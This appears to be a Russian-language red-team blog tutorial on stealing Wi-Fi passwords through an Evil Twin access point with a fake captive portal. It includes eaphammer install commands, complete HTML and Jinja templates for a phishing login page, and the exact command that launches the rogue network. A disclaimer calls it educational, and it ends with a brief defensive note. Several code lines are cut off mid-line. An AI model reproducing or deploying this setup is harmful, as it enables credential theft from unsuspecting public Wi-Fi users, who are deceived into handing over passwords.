Pentest
January 22

Похищение данных для подключения к Wi-Fi через Captive Portal

Введение

Наверняка каждый, кто когда-либо подключался к публичной Wi-Fi сети, сталкивался с так называемым порталом авторизации, или captive portal.

Captive portal — это веб-интерфейс, который появляется при попытке доступа к интернету через публичную Wi-Fi сеть. Он требует от пользователя выполнения определенных действий, таких как ввод логина и пароля, согласие с условиями использования или просмотр рекламы, прежде чем предоставить доступ к интернету.

Пример того как может выглядеть Captive Portal:

В данной статье будет рассмотрен процесс создания фальшивой точки доступа (Evil Twin) с целью перехвата данных, которые жертва введет на портале авторизации нашей сети.

Evil Twin атака на Wi-Fi — это тип кибератаки, при которой злоумышленник создает поддельную точку доступа Wi-Fi, которая выглядит как легитимная. Пользователи, подключаясь к этой фальшивой сети, могут случайно раскрыть свои личные данные, такие как пароли и другую конфиденциальную информацию. Злоумышленник может перехватывать трафик и использовать его в своих целях.
Evil Twin с Captive Portal — это более сложная версия этой атаки, где злоумышленник использует поддельный Captive Portal (веб-страницу, на которую перенаправляются пользователи для аутентификации или согласия на использование сети). После подключения к поддельной сети пользователи видят страницу, которая может имитировать легитимный портал, например, страницу входа в Wi-Fi в кафе или отеле. На этой странице злоумышленник может запрашивать ввод учетных данных, что позволяет ему получить доступ к личной информации жертвы.

Более подробную информацию об атаках на Wi-Fi сети можно найти здесь и здесь.

Данная статья представлена исключительно в образовательных целях. Red Team сообщество "GISCYBERTEAM" не несёт ответственности за любые последствия ее использования третьими лицами.

Установка утилиты для атаки

Для реализации атаки будет использована утилита eaphammer. Если вы используете Kali Linux, установку eaphammer можно выполнить с помощью следующих команд:

sudo apt update
sudo apt upgrade
sudo apt install eaphammer

Если вы работаете с Parrot OS или другой операционной системой, установку утилиты можно осуществить следующим образом:

git clone <https://github.com/s0lst1c3/eaphammer.git>
./parrot-setup # либо kali-setup, либо ubuntu-unattended-setup, либо raspbian-setup

Более подробную информацию по установке можно найти здесь.

Создание страницы Captive Portal

Стандартная страница Captive Portal имеет исключительно иллюстративный характер, и собрать какие-либо реальные данные с её помощью вряд ли удастся, так как пользователи, скорее всего, не будут вводить свои данные на подобной странице:

Поэтому давайте перейдем к созданию собственного шаблона портала авторизации. Для начала разработаем простую HTML-страницу, которая будет вызывать меньше подозрений. В результате запросов двумя промптами могущественному ИИ была создана следующая привлекательная страница:

Код страницы:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Wi-Fi Access</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet">
    <style>
        body {
            background-color: #f8f9fa;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;
        }
        .card {
            width: 100%;
            max-width: 400px;
            box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
            border: none;
        }
        .btn-primary {
            background-color: #007bff;
            border: none;
        }
        .btn-primary:hover {
            background-color: #0056b3;
        }
    </style>
</head>
<body>
    <div class="card p-4">
        <div class="text-center mb-4">
            <img src="static/giscyberteam.svg" alt="Logo" class="img-fluid mb-3" style="max-height: 200px;">
            <p class="text-muted">Вы были отключены от Wi-Fi сети <strong>GISCYBERTEAM</strong>. Пожалуйста, введит>
        </div>
        <form>
            <div class="mb-3">
                <label for="password" class="form-label">Пароль</label>
                <input type="password" name="password" class="form-control" id="password" placeholder="Введите пароль от сети" requ>
		            <input type="hidden" name="username" value="undefined">
            </div>
            <div class="d-grid">
                <button type="submit" class="btn btn-primary">Подключиться</button>
            </div>
        </form>
    </div>

    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>

К сожалению, eaphammer не поддерживает "сырые" HTML-страницы и принимает только шаблоны Jinja. Также следует учесть несколько важных моментов:

  1. Все файлы, подключаемые через CDN (например Bootstrap), должны быть доступны локально, так как клиент в сети Evil Twin не будет иметь доступа к интернету и сможет получить их только с атакуемой машины.
  2. Все подключаемые файлы (изображения, стили и т.д.) должны находиться в директории static, иначе веб-сервер eaphammer не сможет их обнаружить.
  3. Файл index.html должен быть разделен на body.html и head.html, которые будут содержать соответствующие секции исходной страницы.
  4. eaphammer не обрабатывает POST-параметры, кроме username и password. Более того, оба параметра должны присутствовать в запросе. Поэтому, даже если вам не требуется собирать, например, username, необходимо создать скрытый input с атрибутом name="username".

В соответствии с указанными требованиями, давайте создадим шаблон для captive portal. Мы разделим его на две части: head.html и body.html.

Код head.html:

{% block head %}
<meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Wi-Fi Access</title>
    <link href="{{ url_for('static', filename='bootstrap.min.css') }}" rel="stylesheet">
    <style>
        body {
            background-color: #f8f9fa;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;
        }
        .card {
            width: 100%;
            max-width: 400px;
            box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
            border: none;
        }
        .btn-primary {
            background-color: #007bff;
            border: none;
        }
        .btn-primary:hover {
            background-color: #0056b3;
        }
    </style>
{% endblock %}

Код body.html:

{% block body %}
<div class="card p-4">
        <div class="text-center mb-4">
            <img src="{{ url_for('static', filename='giscyberteam.svg') }}" alt="Logo" class="img-fluid mb-3" style>
            <p class="text-muted">Вы были отключены от Wi-Fi сети <strong>GISCYBERTEAM</strong>. Пожалуйста, введит>
        </div>
        <form method="POST">
            <div class="mb-3">
                <label for="password" class="form-label">Пароль</label>
                <input type="password" class="form-control" name="password" id="password" placeholder="Введите паро>
                <input type="hidden" name="username" value="undefined">
</div>
            <div class="d-grid">
                <button type="submit" class="btn btn-primary">Подключиться</button>
            </div>
        </form>
    </div>

    <script src="{{ url_for('static', filename='bootstrap.bundle.min.js') }}"></script>
{% endblock %}

Всё содержимое шаблона необходимо поместить в директорию /usr/share/eaphammer/templates/<название шаблона>(в настоящем примере - /usr/share/eaphammer/templates/giscyberteam).

Запуск Evil Twin с Captive Portal

Для запуска Evil Twin с Captive Portal можно использовать следующую команду:

sudo eaphammer --essid GISCYBERTEAM --captive-portal --portal-template=giscyberteam --auth open --interface wlan0

Описание опций:

--essid - имя беспроводной сети

--captive-portal - указывает eaphammer, что после подключения к сети клиента необходимо направить на портал авторизации

--portal-template - указывает название шаблона captive portal. Фактически это название директории из /usr/share/eaphammer/templates

--auth - метод аутентификации (в настоящем примере open, что значит подключение осуществляется без пароля

--interface - название интерфейса Wi-Fi адаптера, на котором будет поднята точка доступа

Атака требует наличие адаптера Wi-Fi, способного поднимать собственную точку доступа (AP - Access Point).

После запуска утилиты можно будет подключиться к фальшивой точке доступа:

В случае ввода данных пользователем они появятся в выводе eaphammer’a:

Заключение

В заключение, в данной статье была рассмотрена атака Evil Twin, реализованная через Captive Portal с использованием кастомного шаблона веб-страницы для веб-сервера eaphammer.

Данная атака в значительной степени основывается на принципах социальной инженерии, что подчеркивает важность повышения осведомленности пользователей о потенциальных угрозах.

Для эффективной защиты от подобных атак настоятельно рекомендуется проводить регулярное обучение персонала основам информационной безопасности, что позволит снизить риски и повысить уровень защиты корпоративных сетей.